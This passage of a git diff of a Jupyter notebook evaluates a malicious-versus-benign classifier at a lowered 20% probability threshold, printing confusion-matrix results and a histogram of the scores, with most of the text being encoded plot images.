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\n",
+       "text": [
+        "<matplotlib.figure.Figure at 0x11b5fb6d0>"
+       ]
+      }
+     ],
+     "prompt_number": 173
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "#### We do the same, but set the threshold lower, to only 20%"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [],
+     "prompt_number": 9
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "y_probs = clf_all.predict_proba(X_test)[:,1]\n",
+      "thres = .20 # This can be set to whatever you'd like\n",
+      "y_pred[y_probs>thres] = 'malicious'\n",
+      "y_pred[y_probs<=thres] = 'benign'\n",
+      "cm = confusion_matrix(y_test, y_pred, labels)\n",
+      "plot_cm(cm, labels)"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "Confusion Matrix Stats\n",
+        "benign/benign: 95.10% (97/102)\n",
+        "benign/malicious: 4.90% (5/102)\n",
+        "malicious/benign: 0.00% (0/102)\n",
+        "malicious/malicious: 100.00% (102/102)\n"
+       ]
+      },
+      {
+       "metadata": {},
+       "output_type": "display_data",
+       "png": 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\nmVmLqnJN3DO2mZlZpUVbNL0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+       "text": [
+        "<matplotlib.figure.Figure at 0x11b738690>"
+       ]
+      }
+     ],
+     "prompt_number": 174
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "#### You can see that we still get good results even when modifying the threshold level.  When we plot the scores, we see that most of the scores are either near 0 or 1.  This indicates that the classifier is confident about most of the labels."
+     ]
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "scores = clf_all.predict_proba(X_test)[:,1]\n",
+      "plt.hist(scores, bins=20)\n",
+      "plt.grid(True)\n",
+      "plt.show()"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "metadata": {},
+       "output_type": "display_data",
+       "png": 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k5q0RcQhwJnASxXNhrweOzMwrqpiwJEmSJGkyzbiEODP/MDN3Ll879Xm9pGv8\nTZn5ysx8YmbulpkvNnlV07WL66W6M5bVFMaymsA4lnoNVAMrSZIkSdJ8G/o5sJVPwBpYSZIkSRrI\npNfAegVWkiRJklQLJrBSBaxRUVMYy2oKY1lNYBxLvUxgJUmSJEm1YA3sUKyBlSRJkjR/rIGVJEmS\nJKkGTGClClijoqYwltUUxrKawDiWepnASpIkSZJqwRrYoVgDK0mSJGn+WAMrSZIkSVINmMBKFbBG\nRU1hLKspjGU1gXEs9TKBlSRJkiTVgjWwQ7EGVpIkSdL8sQZWkiRJkqQaMIGVKmCNiprCWFZTGMtq\nAuNY6mUCK0mSJEmqhRlrYCPiZOAA4EBgH+DfMvMZ2xm/FDgLeDGwC/B14C8y88vbGG8NrCRJkiQN\nYNJrYAdJYLcCd1EkogcB92bmM7cxdgmwDngIWANsBFYBzwGOyszL+xxjAitJkiRJA5j0BHaQJcTP\nzMxfycyXAz+aYewHgN2Bl2fmWZn5N8CLgDuAc0ebqjS+rFFRUxjLagpjWU1gHEu9ZkxgM3PDICeK\niN2AY4BWZt7Qcfz9wPnAvhFx8CznKUmSJEmacEM9BzYivg0s6reEOCJeAFwNvC8z39u176XApcBb\ny6uynftcQixJkiRJA5j0JcQLqjhJaa9ye3uffe2+vSt8P0mSJEmatSIZVJ1U+RidReX2wT77tnSN\nkRrFGhU1hbGspjCW1QTG8Y6SNXtNtioT2M3ldtc++xZ2jZEkSZIkaShVLiG+o9z2Wybc7uu3vBhY\nSfGIWYA9gOXAVNluldvxaGdupdVqMTVVtNt/GbNt27btprTbxmU+tm3Ppt3uG5f52LZte3zb0Cq3\ndWm3+8ZlPv3a08A9ZXsDVaryJk6LgTuBqzPziK59pwKnASsyc33XPm/iJEmSJGmHq+sNkeo45x35\nHNiBZOYm4BJgKiKWtfvLxPZNwM3dyavUFO2/5El1ZyyrKYxlNYFxLPWacQlxRLweeHrZ/BXgcRFx\nStnekJmf6hh+MnA4cFlEnA3cB6wC9gSOrmzWkiRJkqSJM+MS4oj4MnBo2WwPbl/+bWXmS7rG7wec\nWR6zC3A9sDozr9jG+V1CLEmSJGmHcwnxjlLdEuKhamDnggmsJEmSpPlgArujjGENrDTJrFFRUxjL\nagpjWU1gHEu9TGAlSZIkSbXgEuKhuIRYkiRJagqXEO8oLiGWJEmSJE0YE1ipAtaoqCmMZTWFsawm\nMI6lXiYDULb5AAAJ5klEQVSwkiRJkqRasAZ2KNbASpIkSU1hDeyOYg2sJEmSJGnCmMBKFbBGRU1h\nLKspjGU1gXEs9TKBlSRJkiTVgjWwQ7EGVpIkSWoKa2B3FGtgJUmSJEkTxgRWqoA1KmoKY1lNYSyr\nCYxjqZcJrCRJkiSpFqyBHYo1sJIkSVJTWAO7o1gDK0mSJEmaMCawQ9q69REionYvzS1rVNQUxrKa\nwlhWExjHUq/KE9iI2Cki3hkRN0XEAxHxg4j4UEQsqvq95k/W7CVJkiRJ9Vd5DWxE/BVwAvA54AvA\ns8v2VcAR2fWGdauBhV2oz3zbgvmudZYkSZLGjTWwO0p1NbALqjhJW0TsT5GsfjYzf7ej//vAOcBr\ngX+s8j01mDouIzbpliRJVanjd6G68juc5lLVS4iPK7druvo/Cmw